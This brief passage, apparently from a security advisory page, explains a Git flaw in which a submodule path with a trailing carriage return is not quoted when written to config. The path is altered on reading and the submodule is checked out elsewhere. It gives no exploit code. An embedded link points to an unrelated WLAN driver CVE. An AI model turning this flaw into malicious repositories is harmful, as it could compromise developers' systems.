When reading a config value, Git strips any trailing carriage return and line feed (CRLF). For values with a trailing CR, this is not quoted during writing, resulting in the loss of CR when the config is later read. If a submodule path contains a trailing CR, the altered path is read, leading to the submodule being <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20683-local-privilege-escalation-due-to-incorrect-bounds-check-in-wlan-ap-driver\/\"  data-wpil-monitor-id=\"91808\">checked out to an incorrect<\/a> location.
